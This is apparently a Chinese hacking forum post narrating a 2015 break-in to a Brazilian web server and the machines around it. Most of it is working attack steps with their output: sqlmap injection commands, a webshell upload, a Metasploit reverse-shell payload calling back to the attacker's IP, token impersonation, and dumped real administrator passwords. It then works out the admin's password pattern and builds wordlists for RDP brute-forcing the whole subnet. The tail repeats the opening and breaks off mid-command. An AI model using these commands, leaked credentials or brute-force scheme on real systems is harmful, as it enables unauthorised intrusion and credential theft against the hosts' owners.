taibeihacker
Moderator
0x01 前言
Date/time:2015年,這次滲透測試中發現已經拿下的幾台機器的管理員密碼存在一定規律性,最終通過分析密碼規律、組合新密碼成功拿下目標整個C段機器權限,個人感覺這是個不錯的內網通用/規律密碼實戰案例,所以想著還是記錄一下吧。0x02 Getshell过程
網站基本信息探測:目標站點:http://www.that****elos.com.br
服務器IP:189.**.**.204(巴西)
環境平台:ASP.NET
服務器系統:Windows這個網站禁止國內IP訪問,所以只能上牆去做測試了,先用Chrome瀏覽器插件和指紋識別網站都未能得到服務器系統具體版本,不過根據個人經驗猜測這應該是台Windows2003。
Chrome瀏覽器插件:Server Details 1.0.12、Wappalyzer
服務器系統識別:http://fuwuqixitongshibie.51240.com/?q=
網站後台地址:http://www.that****elos.com.br/admin/接著我們用Safe3WVS_v10.1漏洞掃描工具成功找到幾處注入,並使用sqlmap工具驗證這個注入點確實是存在的,並且已經跑出管理員的表和列,只不過在跑管理員用戶密碼時報錯了。

跑表名:
sqlmap -u 'http://www.that****elos.com.br/detalhe_produto.asp?codProd=510' --tables
[7 tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios跑列名:
sqlmap -u 'http://www.that****elos.com.br/detalhe_produto.asp?codProd=510' -T 'usuarios' --columns
[5 columns]:codusuario,email,login,nome,senha跑數據:
sqlmap -u 'http://www.that****elos.com.br/detalhe_produto.asp?codProd=510' --dbms access -T 'usuarios' -C 'email,login,senha' --dump --threads 10


通過這個注入點成功得到網站管理員帳號和密碼,登錄網站後台並找到一處無任何過濾的上傳,直接傳了一個ASP的圖片馬,就這樣很順利的拿到這個站的Webshell權限。

0x03 实战提权过程
服務器基本信息探測:端口開放:21、80、135、443、445、873、65432
補丁情況:打了750+系統補丁(Windows 2003 x86)
腳本探測:僅支持ASP腳本文件,不支持PHP、ASPX
磁盤權限:C盤部分文件夾有可讀/寫權限,不能跨站搞了這麼久也是第一次遇到打750+補丁的2003機器,雖然知道利用提權EXP搞下的機率不大,但還是得嘗試下不是,說不定就“成”了呢,嘗試了以下這些提權EXP,最終結果在意料之中,失敗了。
pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe.

root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X /media/sf_Temp/test.exemsf use exploit/multi/handler
msf exploit(handler) set payload windows/meterpreter/reverse_tcp
msf exploit(handler) set lhost 37.*.**.52
msf exploit(handler) set lport 443
msf exploit(handler) exploit
[*] Started reverse handler on 37.*.**.52:443
[*] Starting the payload handler.
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 1 opened (37.*.**.52:443 - 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000

meterpreter getuid
Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c
meterpreter getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter sysinfo
Computer : WEB200
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : pt_BR
Meterpreter : x86/win32
meterpreter background
[*] Backgrounding session 1.msf exploit(handler) use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) set lhost 37.*.**.52
msf exploit(ms14_058_track_popup_menu) set lport 443
msf exploit(ms14_058_track_popup_menu) set session 1
msf exploit(ms14_058_track_popup_menu) exploit
[*] Started reverse handler on 37.*.**.52:443
[*] Launching notepad to host the exploit.
[+] Process 11464 launched.
[*] Reflectively injecting the exploit DLL into 11464.
[*] Injecting exploit into 11464.
[*] Exploit injected. Injecting payload into 11464.
[*] Payload injected. Executing exploit.
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 2 opened (37.*.**.52:443 - 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000

meterpreter getuid
Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c
meterpreter getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.ms14_058_track_popup_menu提權模塊失敗,筆者陷入深思.突然想到meterpreter下還有個incognito拓展,可以用來盜竊目標主機的令牌或假冒用戶。
我們先看下這台服務器裡有幾個管理員用戶,方便後面找管理員可用令牌,可以看到除了默認的Administrator,還有一個cronjob。

list_tokens -u列出可用用戶令牌,這列出來的可用用戶令牌太多了,筆者用.Snip.省略了一部分,可以看到可用用戶令牌中有cronjob管理員令牌。
列出可用用戶令牌:
meterpreter use incognito
Loading extension incognito.success.
meterpreter list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
AUTORIDADE NT\SERVI?O LOCAL
WEB200\aewcorp
WEB200\attcorreia
WEB200\cronjob
WEB200\sueddesigner
.Snip.
Impersonation Tokens Available
========================================
WEB200\aluggo
WEB200\ciacompropaganda
WEB200\datahome
WEB200\ipirangacontabil
WEB200\web200
.Snip.假冒cronjob用戶令牌:
meterpreter impersonate_token WEB200\\cronjob
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user WEB200\cronjob
meterpreter getuid
Server username: WEB200\estoquedomarmorista
meterpreter hashdump
.Snip.

0;980627246 NTLM WEB200 Administrador w3b200r0x0271114
0;3450401626 NTLM WEB200 cronjob 016b2023ee9b897ca643
0;1214252650 NTLM WEB200 web200 p1cadasgalaxi4s
0;1236893630 NTLM WEB200 thatycabelos vbs147369
0;74485534 NTLM WEB200 iis_user 123abc!#利用一些常見的漏洞又拿到了C段中189.**.**.9、189.**.**.55服務器的Webshell權限,在提權時發現與剛提的204那台服務器有很多類似之處。
如:部分文件夾權限、上傳cmd.exe執行命令、服務器系統主機名、部分命令權限不足、一樣的遠程端口號等等。
只是不能執行我們自己上傳的提權EXP,提示0x2331錯誤,如下圖所示。但是好像只要服務器重啟後又可以正常執行提權EXP了,或者可以嘗試將上傳的提權EXP後綴改為TXT。

0x04 密码/域名规律
根據在幾台機器上得到的一些信息和個人經驗來說,基本可以確定這個C段中的所有機器為同一個管理員,所以管理員使用的密碼肯定是有規律可尋的,接下來我們一起分析下他的密碼規律是怎樣的。(1) 密码规律分析
幾台機器上常用管理員用戶有:Administrador,cronjob。 189.**.**.204這台服務器的Administrador密碼為:w3b200r0x0271114,密碼規律主要與主機名中的3位數字有關,與IP地址無關。w3b=固定值,200=計算機名稱(3位數字),r0x0271114=固定值使用WPS表格函數提取主機名3位數字:=RIGHT(H2,3),組合一個新密碼:=B2C2D2,最終通過密碼規律組合出C段189.**.**.9、189.**.**.55這兩台機器的管理員密碼,如下圖。

目前只能通過已控機器得知他的主機名,那我們在沒有拿到C段其他機器的Webshell權限時怎麼得到他的主機名呢?或者說有沒有辦法直接進入C段其他服務器呢?當然是有的,這裡僅提供一個思路。
爆破思路:
RDP默認端口為3389,拿下的幾台機器RDP端口為65432,我們可以根據找到的密碼規律生成一個高效字典對189.**.**.X這個段所有IP進行RDP爆破,主機名3位數字控制在300即可,如果不行再增加。
w3b200r0x0271114
w3b201r0x0271114
w3b202r0x0271114
w3b203r0x0271114
w3b204r0x0271114
w3b205r0x0271114
w3b206r0x0271114
w3b207r0x0271114
w3b208r0x0271114
w3b209r0x0271114
w3b210r0x0271114
.Snip.
(2) 域名规律分析
在測試中多次看到“主機名.test.net”這樣的子域,訪問了幾個後證實了我的想法:管理員在每台服務器上都解析了這樣一個子域,命名規律為:主機名.test.net。知道域名規律後就可以省去拿Webshell了,直接就能得到主機名,最後再通過組合密碼進入C段其他機器,測試了10幾台都是OK的。


形像比喻:
C段所有機器淪陷=密碼規律+ 主機名+ 域名規律,密碼規律=父親,主機名=兒子,域名規律=母親,父親和母親都需要兒子,只有在一起生活才算得上是一個完整家庭,缺一不可。
思路拓展:
根據域名規律生成高效“主機名.test.net”子域字典,主機名控制在300即可,然後通過腳本批量Ping這些子域得到C段存活機器的IP地址和對應主機名,然後再根據密碼規律組合出新密碼。
web200.test.net
web201.test.net
web202.test.net
web203.test.net
web204.test.net
web205.test.net
web206.test.net
web207.test.net
web208.test.net
web209.test.net
web210.test.net
.Snip.我們可以直接用WPS表格函數組合一個新密碼:=B2(RIGHT(LEFT(E2,6),3)D2),最終通過密碼規律組合出C段所有存活機器的管理員密碼,如下圖。

0x05 总结
在內/域環境中我們時常會遇到通用/規律密碼,一般會以主機名、IP地址、年份以及常用字符123/qwe/!@#等做為規律,也可以分析網站後台、中間件、數據庫、第三方軟件等等各類密碼的共同點和規律,然後再組合生成高效字典進行爆破,借用@亮神的一句話:滲透的本質是信息蒐集。1.對目標系統進行信息收集,這里通過在線CMS指紋識別出系統為windows 2003 IIS6.0,且通過御劍目錄掃描工具發現網站管理員後台目錄為admin2.使用Safe3WVS_v10.1漏洞掃描工具成功找到幾處注入,並使用sqlmap工具驗證這個注入點確實是存在的,並且已經跑出管理員的表和列,但是無法跑出用戶名和密碼跑表名:sqlmap -u